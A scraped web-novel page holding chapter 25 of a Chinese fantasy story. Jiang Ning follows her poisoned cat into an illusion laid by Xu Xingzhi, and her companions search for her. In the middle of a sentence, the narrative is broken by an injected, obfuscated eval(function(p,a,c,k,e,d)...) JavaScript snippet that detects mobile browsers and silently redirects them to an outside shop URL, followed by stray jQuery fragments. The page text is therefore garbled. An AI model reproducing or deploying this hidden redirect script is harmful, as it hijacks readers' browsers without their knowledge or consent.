默认冷灰
24号文字
方正启体

25. 他这人怎么说呢

作者:三鸽禄本书字数:K更新时间:
    行踪暴露,目标太大。刚发出点动静,就赶来这么多人,委实不好再进行下去。


    姜宁不得不思考一个问题。


    “接下去怎么打算?”


    秦不染:“晚上再来。”


    …


    秦家大院,是一个会移动的房子。


    又得益于结界,如今正完美隐身云上泽的湖面上,与外面昼夜同时。


    天刚一黑幕。


    姜宁便候着。


    思绪翻飞那两人什么时候出来时,一道白影掠过。


    “小白?”


    姜宁追着好不容易拎起的小家伙。


    小家伙却咬了它一口,如此猝不及防,她万万没想到。


    方一松手。


    小家伙立马跳上槐树,顺着枝干,跳到檐上。


    鬼鬼祟祟,溜烟功夫跑出了结界。


    它一个凡间猫,万一外面给遇见危险,不找死么?


    真是怕这臭家伙出什么好歹,姜宁去怀楼找秦不染。


    人不在。


    去影阁外,喊影子。


    人依旧不在。


    二人莫不是丢下她,单独行动了?


    而小白正好就去找两人了?


    越想越有可能。


    姜宁原地也未耽搁太久,追着小家伙出去了。


    天色沉,天地昏。


    月光下,适应会儿,周围模样才隐隐看清。


    湖面上冒着冷气,周围找了许久,那小家伙趴在岸边,小身子一抖一抖。


    她点足,跃过去。


    草地,“咔擦咔擦”声响清晰入耳。


    姜宁走近才看清。


    猫在外偷腥吃鱼,吃的还是这湖中锦鲤。


    四界的东西,与凡间总有差异,岂能乱吃?


    猫口下夺鱼。


    猫也没挣扎,吞下嘴里最后鱼肉,亲呢蹭上她的手腕,甚至对着先前咬了她的地方,欲舔舐。


    背起手腕,姜宁没叫它得逞。


    “古灵精怪,你要成精了不成?走,我带你回去。”


    实不相瞒,出了秦家大院,心里头惴惴不安,像是无时无刻提醒着她,此地不宜久留。


    果然是!


    抬腿间——


    黑云飘,雾霾起,阵阵黑气从湖面冒出。


    咕噜咕噜下,红色锦鲤成了黑色,伸着獠牙,嘶哑出声,画面诡异至极。


    小白猫身一跃,一个劲儿往她怀里钻,不动声色的姜宁,抱紧怀中之物,加快脚步。


    可越走,眼前之景,变了。


    湖水翻滚,脚下路开始坍塌。


    回看,秦家大院根本不在了。


    房子不可能凭空消失!


    那只能是,所见非实。


    姜宁停下,原地岿然不动。


    正思考解决之法。


    怀中小家伙暴躁不已,一阵阵喵叫,撕心裂肺。


    听得实在揪心。


    无可奈何,她闭眼凝思,再睁眼时,瞳里碧海深色。


    所望之下,万物坍塌。


    只有一处,从这里延伸进那片竹林,一路亮着蓝光。


    坍塌将至脚下,抱着狸猫,她加快速度,身影没入竹林之中。


    小白的呜咽声越发的频繁。


    穿过竹林,本应该是木屋,而此处,并无一物。


    “序行知,出来吧,我知道是你捣的鬼。”


    “我捣鬼?大姐,有没有搞错?你们一行人,闯我云上泽也就算了,打人又是怎么个事?我脑袋上的口谁打的?我腰又是谁踹?还有你,是不是还拍了我一巴掌!”


    只闻其声不见其人。


    早知道有这死出,当时就应该多打几下。


    姜宁道:“小弟,打人是不对的,这点大姐我承认,但是——”


    “谁你小弟,别乱认亲戚!”气急的声音伴着一道清脆的酒壶碎声。


    姜宁忍:“那,大爷,你读过书吧,先生有没有教你,抢劫也是不对的,我直接说了,你是不是抢了本生死簿!”


    “你怎么知道?”那人疑惑,声音一下正经起来。


    姜宁:“你这问题问得好,我怎么知道,因为那是我借的东西,你抢走了,我拿什么还给人家!”


    那人不信:“你说是你借的就是你借的啊,我凭什么相信你,证据呢?”


    死东西,姜宁暗骂,道:“你认识山无陵么,我是她妹妹,不信,你派人去问。”


    “山无陵,地府人,我见过,也见过他妹,根本不长你这样,骗鬼呢你。”


    姜宁:“…”


    “说啊!你继续说啊!”她没了动静,那人更为嚣张。


    她道:“我不说了,你说,你究竟想怎样?”


    小白声音越来越小,嘴角,流了血。


    暗红色,冒着血沫子。


    想一下,便能明白,那湖里的锦鲤有问题。


    怕不是有毒。


    “来一只猫陪葬,我的小锦鲤也是能泉下有知,安息了。”


    果然如此!


    “我要做什么,你才能救它,直说就是。”


    费尽心思将她引过来,又同她扯这么多,迟迟不动手,怕也不是报复这么简单。


    “行啊,那你往前走,一直往前走,我就在前面,我们坐下好好聊。”


    姜宁顺他意,走进一片黑暗中。


    白光一闪,一个场景换了另外一个场景。


    此地,是一个密闭空间,四处连个门窗也没有。


    序行知就坐在面前,一手托腮,一手提着酒壶。


    脚边,空罐子不知堆了多少。


    他道:“坐。”


    横在面前的是一个巨大木桌,木桌上摆弄着各种看不懂的玩意儿,随意一瞥,有几个字就这样跃入眼里。


    火药?


    步枪?


    姜宁走去,顺手拿起那把长得奇怪的长东西观摩。


    结果刚摸上没一会。


    序行知笑悠悠放下酒壶,左手握着右手腕,对着自己比了个勾。


    又手抵在眼前,睁一只眼闭一只眼,嘴里贱嗖嗖地发出“咻”的一声。


    作势,还抬了下手腕。


    “你在干嘛?”


    他一番操作,绝不怀好意。姜宁黑着脸将手中的长东西重重丢在桌上。


    序行知脸色一变:“你轻点!那是我宝贝!”


    姜宁:“你究竟想干什么?”


    伸出手,他指着空位置,对她道:“坐下,我悄悄和你说,心急吃不了热豆腐,懂不懂。”


    “解药给我。”


    “你坐下,会给你的。”


    *


    “拿去烧了。”


    符室,桌旁一叠叠的符纸,垒得足有一巴掌厚。


    影子尽数丢进火盆。


    火盆的火蹿得有一米高,烈焰成了幽冥的蓝光。


    温暖的屋内骤而泛着森森冷意,待火灭后又消失无踪。


    秦不染起身,问他:“现在几时了?”


    影子:“亥初一刻。”


    时间正好,外面的天也黑透了,姜宁应该正等着他,秦不染起身出了符室。


    符室,不论画符还是做甚,都必须要保持绝对安静,是以这里的隔音效果极好。


    影子紧随其后。


    然,方至外面。


    青纱垂地乱舞,响而不绝的“砰砰”声一下又一下,不停不息。


    而他家大人,听此动静,也早已不见了身影。


    …


    槐树下,风来。


    风起花落。


    门外,待两道身影出现,衔着圆环的骷髅,才停止敲打动作。


    “大人,看样子,她出去了。”影子经过的那处院落,明显没人,且,他还发现:“小白也不见了。”


    秦不染脸色并不好看,骷髅衔环,响四下,一停顿,是出事信号。


    “去找。”二人迅速行动。


    不久,于草地上,发现一条锦鲤残骸。


    秦不染不嫌脏地捡起,查看一番,便弃了手中之物。


    残骸在空中划过一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17413773|200727||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道弧度,“砰”地一下落入湖中。


    二人于竹林深处走去,谁都没注意到,那残骸沉入湖底,血腥瞬间招来同类的啃食,不会儿,湖面上浮着一块鱼骨架,晃晃悠悠。


    悄无声息来到木屋之外。


    入内——


    屋里,简陋的不能再简陋,一张床,一个桌,一把椅,已是所有。


    桌上搁着一个杯子,还有许多凌乱纸张。


    纸张上面有序地写着字,每个字都能看懂,只是连在一起,晓是见多识广的二人,也看不明白。


    “华夏?”


    “飞机?”


    “警察?”


    “手机?”


    影子边拾边念,表情亦越发的古怪。


    看不懂,秦不染就不看。


    他矗立门前。


    在夜的沉默下,毫不掩饰内心烦躁。


    “影子,让肆尔赶紧过来。”


    *


    “肆尔大人,你这样抛下我们是不行的。”


    “你们秦大人发话让我立马过去,你说我是去还是不去?”


    “可是.....你走了,我们就没主心骨了。”


    说话的人皱起八字眉,两条向下耷拉的眉毛都快连成一个忧愁的小山峰。


    肆尔无奈,挥着羽扇敲着那人脑袋,道:“送个礼,吃个饭,逛几天,后面直接走人,这些事都不明白么?好了,你们先去,到时候若有事,符纸联系,我赶来便是。”


    那人:“不——”


    “你再多说一句,什么事情你就自己应付好了。”


    层岩叠嶂间,四马并驱,浮空踏行。肆尔不再多说,素白的指尖揭开帘幕。


    帘幕下,走出一个身披鹤氅,面如冠玉的男子。


    男子右手挥着羽扇,左手掐着一张黄纸,向后安慰:


    “阿巫苏达,你们可以的。”


    *


    夜晚的竹林,暗幽静谧。


    若有似无的冷意沿着竹径涌来,吹过木屋前二人。


    墨衣男子负手静立,而他身后的人却缩着脖子不停跺脚。


    “已经一天一夜,干等着也不是办法,大人,回怀楼休息么?等肆哥来了,我们再来?”影子劝阻。


    “你累了,先回去。”秦不染只此一句,再也不言。


    影子无奈。


    月色凉如水,时间又不知过去了多久,只见梢头上的月偷偷藏进了云雾中,若隐若现。


    也可见,幽深的竹径缓缓走近一人。


    “好哇,你们两居然藏在这!可让我好找。”


    见清楚那人,影子大喜:“肆哥!”


    秦不染亦心下一松,道:“肆尔,好久不见。”


    “你要是让我回来,咱两也是可以天天见的。”话间,肆尔人至秦不染身前。


    二人一笑,拳对拳,相互一击。


    做罢,他拿着羽扇,拍影子问:“想你肆哥没?”


    影子:“想你干嘛,你想的真多。”


    “真没良心。”


    肆尔笑骂。


    转而对秦不染:“我本就待在槐南境,结果你一封信让我回玄北川准备此行,回了玄北川,忙里忙外收拾好了,刚出界没多久,你一封信又让我速速赶回槐南境,真是上辈子欠了你秦不染,这辈子给你当牛做马的。说吧,出了什么事?要我这么急着赶过来。”


    影子站出来,正色道:“肆哥,事情是这样的。”


    秦不染终于不在门前当木头,三人缓缓向屋内走去。


    影子滔滔不绝,信中,他从未向肆尔提及过姜宁这号人,所以为了让他了解事情的前因后果,影子把一路上的事情都说了个遍。


    那听着的人,愿闻其详的模样逐渐凝滞,手中的羽扇越扇越慢,一双丹凤眼,总时不时瞟向那看起来若无其事的男子,带着探究,又藏着兴奋。


    “亏了亏了,我不在的这几个月,居然发生了这么多新鲜事儿,没想到,这秦家大院还来了个新人。”


    “秦不染,说说吧,需要我做什么。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)